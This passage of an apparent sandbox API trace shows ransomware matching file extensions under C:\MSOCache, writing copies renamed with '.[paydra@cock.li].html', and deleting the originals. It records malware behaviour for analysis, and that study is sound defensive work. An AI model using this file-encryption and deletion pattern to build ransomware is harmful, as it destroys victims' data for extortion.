Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0035.101] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 1 [0035.110] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.110] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.110] lstrlenW (lpString=".doc") returned 4 [0035.110] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.110] lstrlenW (lpString=".docx") returned 5 [0035.110] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.110] lstrlenW (lpString=".pdf") returned 4 [0035.111] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.111] lstrlenW (lpString=".xls") returned 4 [0035.111] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.111] lstrlenW (lpString=".xlsx") returned 5 [0035.111] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.111] lstrlenW (lpString=".ppt") returned 4 [0035.111] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.111] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.111] lstrlenW (lpString=".zip") returned 4 [0035.111] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.111] lstrlenW (lpString=".rar") returned 4 [0035.111] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.111] lstrlenW (lpString=".bz2") returned 4 [0035.111] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.111] lstrlenW (lpString=".7z") returned 3 [0035.111] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.111] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.111] lstrlenW (lpString=".dbf") returned 4 [0035.111] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.111] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.111] lstrlenW (lpString=".1cd") returned 4 [0035.111] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.111] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.111] lstrlenW (lpString=".jpg") returned 4 [0035.111] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.111] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.111] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.111] lstrlenW (lpString=".doc") returned 4 [0035.111] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.111] lstrlenW (lpString=".docx") returned 5 [0035.111] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.111] lstrlenW (lpString=".pdf") returned 4 [0035.111] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.111] lstrlenW (lpString=".xls") returned 4 [0035.112] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.112] lstrlenW (lpString=".xlsx") returned 5 [0035.112] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.112] lstrlenW (lpString=".ppt") returned 4 [0035.112] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.112] lstrlenW (lpString=".zip") returned 4 [0035.112] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.112] lstrlenW (lpString=".rar") returned 4 [0035.112] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.112] lstrlenW (lpString=".bz2") returned 4 [0035.112] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.112] lstrlenW (lpString=".7z") returned 3 [0035.112] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.112] lstrlenW (lpString=".dbf") returned 4 [0035.112] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.112] lstrlenW (lpString=".1cd") returned 4 [0035.112] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.112] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0035.112] lstrlenW (lpString=".jpg") returned 4 [0035.112] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.112] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.112] lstrlenW (lpString="Setup.xml") returned 9 [0035.112] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.169] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=9352) returned 1 [0035.169] CloseHandle (hObject=0x19c) returned 1 [0035.169] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0035.169] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0035.169] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.169] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.169] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.169] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0035.169] GetLastError () returned 0x0 [0035.169] ReadFile (in: hFile=0x19c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x2488, lpOverlapped=0x0) returned 1 [0035.203] WriteFile (in: hFile=0x1a4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x2490, lpOverlapped=0x0) returned 1 [0035.204] ReadFile (in: hFile=0x19c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.204] WriteFile (in: hFile=0x1a4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.204] SetEndOfFile (hFile=0x1a4) returned 1 [0035.204] CloseHandle (hObject=0x1a4) returned 1 [0035.205] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.205] SetEndOfFile (hFile=0x19c) returned 1 [0035.205] CloseHandle (hObject=0x19c) returned 1 [0035.205] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0035.206] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0035.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.206] lstrlenW (lpString=".doc") returned 4 [0035.206] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.206] lstrlenW (lpString=".docx") returned 5 [0035.206] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.206] lstrlenW (lpString=".pdf") returned 4 [0035.206] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.206] lstrlenW (lpString=".xls") returned 4 [0035.206] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.206] lstrlenW (lpString=".xlsx") returned 5 [0035.206] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.206] lstrlenW (lpString=".ppt") returned 4 [0035.206] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.206] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.206] lstrlenW (lpString=".zip") returned 4 [0035.206] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.206] lstrlenW (lpString=".rar") returned 4 [0035.206] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.206] lstrlenW (lpString=".bz2") returned 4 [0035.206] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.206] lstrlenW (lpString=".7z") returned 3 [0035.207] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.207] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.207] lstrlenW (lpString=".dbf") returned 4 [0035.207] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.207] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.207] lstrlenW (lpString=".1cd") returned 4 [0035.207] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.207] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.207] lstrlenW (lpString=".jpg") returned 4 [0035.207] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.207] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.207] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.207] lstrlenW (lpString=".doc") returned 4 [0035.207] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.207] lstrlenW (lpString=".docx") returned 5 [0035.207] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.207] lstrlenW (lpString=".pdf") returned 4 [0035.207] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.207] lstrlenW (lpString=".xls") returned 4 [0035.207] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.207] lstrlenW (lpString=".xlsx") returned 5 [0035.207] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.207] lstrlenW (lpString=".ppt") returned 4 [0035.207] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.207] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.207] lstrlenW (lpString=".zip") returned 4 [0035.207] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.207] lstrlenW (lpString=".rar") returned 4 [0035.207] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.207] lstrlenW (lpString=".bz2") returned 4 [0035.207] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.207] lstrlenW (lpString=".7z") returned 3 [0035.207] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.208] lstrlenW (lpString=".dbf") returned 4 [0035.208] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.208] lstrlenW (lpString=".1cd") returned 4 [0035.208] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.208] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.208] lstrlenW (lpString=".jpg") returned 4 [0035.208] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.208] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.208] lstrlenW (lpString="Setup.xml") returned 9 [0035.208] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.208] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=2624) returned 1 [0035.208] CloseHandle (hObject=0x19c) returned 1 [0035.208] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0035.208] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0035.208] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.209] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.209] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.209] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0035.209] GetLastError () returned 0x0 [0035.209] ReadFile (in: hFile=0x19c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0xa40, lpOverlapped=0x0) returned 1 [0035.225] WriteFile (in: hFile=0x1a4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0035.231] ReadFile (in: hFile=0x19c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.231] WriteFile (in: hFile=0x1a4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.231] SetEndOfFile (hFile=0x1a4) returned 1 [0035.231] CloseHandle (hObject=0x1a4) returned 1 [0035.232] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.232] SetEndOfFile (hFile=0x19c) returned 1 [0035.232] CloseHandle (hObject=0x19c) returned 1 [0035.232] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0035.233] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0035.233] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.233] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.233] lstrlenW (lpString=".doc") returned 4 [0035.233] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.233] lstrlenW (lpString=".docx") returned 5 [0035.233] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.233] lstrlenW (lpString=".pdf") returned 4 [0035.233] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.233] lstrlenW (lpString=".xls") returned 4 [0035.233] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.233] lstrlenW (lpString=".xlsx") returned 5 [0035.233] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.233] lstrlenW (lpString=".ppt") returned 4 [0035.233] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.233] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.233] lstrlenW (lpString=".zip") returned 4 [0035.233] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.233] lstrlenW (lpString=".rar") returned 4 [0035.233] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.233] lstrlenW (lpString=".bz2") returned 4 [0035.233] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.233] lstrlenW (lpString=".7z") returned 3 [0035.233] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.233] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.233] lstrlenW (lpString=".dbf") returned 4 [0035.233] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.234] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.234] lstrlenW (lpString=".1cd") returned 4 [0035.234] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.234] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.234] lstrlenW (lpString=".jpg") returned 4 [0035.234] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.234] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.234] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.234] lstrlenW (lpString=".doc") returned 4 [0035.234] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.234] lstrlenW (lpString=".docx") returned 5 [0035.234] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.234] lstrlenW (lpString=".pdf") returned 4 [0035.234] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.234] lstrlenW (lpString=".xls") returned 4 [0035.234] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.234] lstrlenW (lpString=".xlsx") returned 5 [0035.234] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.234] lstrlenW (lpString=".ppt") returned 4 [0035.234] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.234] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.234] lstrlenW (lpString=".zip") returned 4 [0035.234] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.234] lstrlenW (lpString=".rar") returned 4 [0035.234] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.234] lstrlenW (lpString=".bz2") returned 4 [0035.234] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.234] lstrlenW (lpString=".7z") returned 3 [0035.234] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.234] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.234] lstrlenW (lpString=".dbf") returned 4 [0035.234] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.234] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.234] lstrlenW (lpString=".1cd") returned 4 [0035.235] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.235] lstrlenW (lpString=".jpg") returned 4 [0035.235] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.235] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.235] lstrlenW (lpString="Setup.xml") returned 9 [0035.235] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0035.256] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=31094) returned 1 [0035.256] CloseHandle (hObject=0x1ac) returned 1 [0035.256] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0035.257] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0035.257] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0035.257] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.257] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.257] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0035.257] GetLastError () returned 0x0 [0035.257] ReadFile (in: hFile=0x1ac, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x7976, lpOverlapped=0x0) returned 1 [0035.267] WriteFile (in: hFile=0x190, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x7980, lpOverlapped=0x0) returned 1 [0035.268] ReadFile (in: hFile=0x1ac, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.269] WriteFile (in: hFile=0x190, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.269] SetEndOfFile (hFile=0x190) returned 1 [0035.269] CloseHandle (hObject=0x190) returned 1 [0035.270] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.270] SetEndOfFile (hFile=0x1ac) returned 1 [0035.270] CloseHandle (hObject=0x1ac) returned 1 [0035.271] SetFileAttributesW (lpFileName="C:\\MSOCache\\All 